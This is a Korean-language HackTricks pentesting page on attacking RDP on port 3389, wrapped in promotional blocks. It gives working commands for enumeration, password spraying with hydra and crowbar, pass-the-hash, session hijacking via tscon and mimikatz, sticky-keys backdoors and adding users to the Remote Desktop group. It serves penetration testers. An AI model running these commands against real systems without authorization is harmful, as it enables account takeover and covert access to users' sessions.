9.8 KiB
3389 - RDP Pentesting
AWS 해킹을 처음부터 전문가까지 배우세요 htARTE (HackTricks AWS Red Team Expert)!
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하고 싶다면 구독 요금제를 확인하세요!
- 공식 PEASS & HackTricks 굿즈를 구매하세요
- The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션
- 💬 Discord 그룹 또는 텔레그램 그룹에 가입하거나 트위터 🐦 @carlospolopm를 팔로우하세요.
- HackTricks 및 HackTricks Cloud github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정. 20개 이상의 도구 및 기능으로 어디서든 전체 펜테스트를 실행하고, recon부터 보고서 작성까지 가능합니다. 우리는 펜테스터를 대체하지 않습니다 - 사용자에게 시간을 돌려주기 위해 사용자 정의 도구, 탐지 및 공격 모듈을 개발하여 더 깊이 파고들고, 쉘을 열고 즐길 수 있도록 합니다.
{% embed url="https://pentest-tools.com/" %}
기본 정보
Microsoft에서 개발된 원격 데스크톱 프로토콜 (RDP)은 네트워크를 통해 컴퓨터 간의 그래픽 인터페이스 연결을 가능케 하는 것을 목적으로 합니다. 이러한 연결을 설정하기 위해 사용자는 RDP 클라이언트 소프트웨어를 사용하며, 동시에 원격 컴퓨터는 RDP 서버 소프트웨어를 운영해야 합니다. 이 설정을 통해 먼 컴퓨터의 데스크톱 환경을 원격으로 제어하고 액세스할 수 있어 사용자의 로컬 장치로 해당 인터페이스를 가져올 수 있습니다.
기본 포트: 3389
PORT STATE SERVICE
3389/tcp open ms-wbt-server
열거
자동
{% code overflow="wrap" %}
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
{% endcode %}
사용 가능한 암호화 및 DoS 취약점을 확인하고 (서비스에 DoS를 유발하지 않고) NTLM Windows 정보(버전)를 획득합니다.
무차별 대입 공격
주의하세요, 계정이 잠길 수 있습니다
비밀번호 스프레이
주의하세요, 계정이 잠길 수 있습니다
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
알려진 자격 증명/해시로 연결하기
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
알려진 자격 증명을 RDP 서비스에 대해 확인
impacket의 rdp_check.py를 사용하면 일부 자격 증명이 RDP 서비스에 대해 유효한지 확인할 수 있습니다:
rdp_check <domain>/<name>:<password>@<IP>
취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정. 20가지 이상의 도구 및 기능을 사용하여 어디서든 전체 펜테스트를 실행할 수 있으며, 이는 정찰부터 보고서 작성까지 이어집니다. 우리는 펜테스터를 대체하지 않습니다 - 대신, 깊이 파고들고 쉘을 열며 즐길 수 있는 시간을 돌려주기 위해 사용자 정의 도구, 탐지 및 악용 모듈을 개발합니다.
{% embed url="https://pentest-tools.com/" %}
공격
세션 도용
SYSTEM 권한으로 모든 사용자가 열어 놓은 RDP 세션에 액세스할 수 있으며, 소유자의 비밀번호를 알 필요가 없습니다.
열린 세션 가져오기:
query user
선택된 세션에 액세스
tscon <ID> /dest:<SESSIONNAME>
이제 선택한 RDP 세션 내부에 들어가서 Windows 도구와 기능만을 사용하여 사용자를 흉내 내야합니다.
중요: 활성 RDP 세션에 액세스하면 사용 중이던 사용자가 로그아웃됩니다.
프로세스 덤프에서 비밀번호를 가져올 수도 있지만, 이 방법은 훨씬 빠르며 사용자의 가상 데스크톱과 상호 작용할 수 있게 해줍니다(디스크에 저장되지 않은 메모장의 비밀번호, 다른 기기에서 열린 다른 RDP 세션 등...)
Mimikatz
이를 수행하기 위해 mimikatz를 사용할 수도 있습니다:
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
Sticky-keys & Utilman
이 기술을 stickykeys 또는 utilman과 결합하면 관리자 CMD 및 어떤 RDP 세션에도 언제든지 액세스할 수 있습니다
이미 이러한 기술 중 하나로 백도어 처리된 RDP를 검색할 수 있습니다: https://github.com/linuz/Sticky-Keys-Slayer
RDP 프로세스 주입
다른 도메인에서 또는 더 높은 권한으로 RDP를 통해 로그인한 경우에 관리자인 PC에서, 당신이 관리자인 경우, 당신의 비콘을 그의 RDP 세션 프로세스에 주입하여 그의 역할을 할 수 있습니다:
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %} rdp-sessions-abuse.md {% endcontent-ref %}
RDP 그룹에 사용자 추가
net localgroup "Remote Desktop Users" UserLoginName /add
자동 도구
AutoRDPwn은 주로 Microsoft Windows 컴퓨터에서 Shadow 공격을 자동화하기 위해 설계된 Powershell로 작성된 사후 침투 프레임워크입니다. 이 취약점은 Microsoft에서 기능으로 명시된 것으로, 원격 공격자가 피해자의 데스크톱을 그의 동의 없이 볼 수 있게 하며, 심지어 운영 체제 자체의 도구를 사용하여 필요에 따라 제어할 수 있게 합니다.
- EvilRDP
- 명령 줄에서 마우스 및 키보드 제어를 자동화하는 방법
- 명령 줄에서 클립보드 제어를 자동화하는 방법
- 클라이언트에서 RDP를 통해 통신을 채널링하는 SOCKS 프록시 생성
- 파일을 업로드하지 않고 대상에서 임의의 SHELL 및 PowerShell 명령 실행
- 대상과 파일 전송이 비활성화된 경우에도 대상과 파일을 업로드하고 다운로드하기
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.xyz/pentesting/pentesting-rdp
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정. 20가지 이상의 도구 및 기능을 사용하여 어디서든 전체 펜테스트를 실행하고, 정찰부터 보고서 작성까지 가능합니다. 우리는 펜테스터를 대체하지 않습니다 - 대신, 사용자들이 더 심층적으로 파고들고, 쉘을 열고 즐길 수 있도록 맞춤형 도구, 탐지 및 공격 모듈을 개발합니다.
{% embed url="https://pentest-tools.com/" %}
제로부터 영웅이 될 때까지 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team Expert)!
HackTricks를 지원하는 다른 방법:
- 회사가 HackTricks에 광고되길 원하거나 PDF 형식의 HackTricks를 다운로드하길 원한다면 구독 요금제를 확인하세요!
- 공식 PEASS & HackTricks 굿즈를 구매하세요
- The PEASS Family를 발견하세요, 저희의 독점 NFTs 컬렉션
- **💬 디스코드 그룹에 가입하거나 텔레그램 그룹에 가입하거나 트위터 🐦 @carlospolopm를 팔로우하세요.
- HackTricks 및 HackTricks Cloud github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.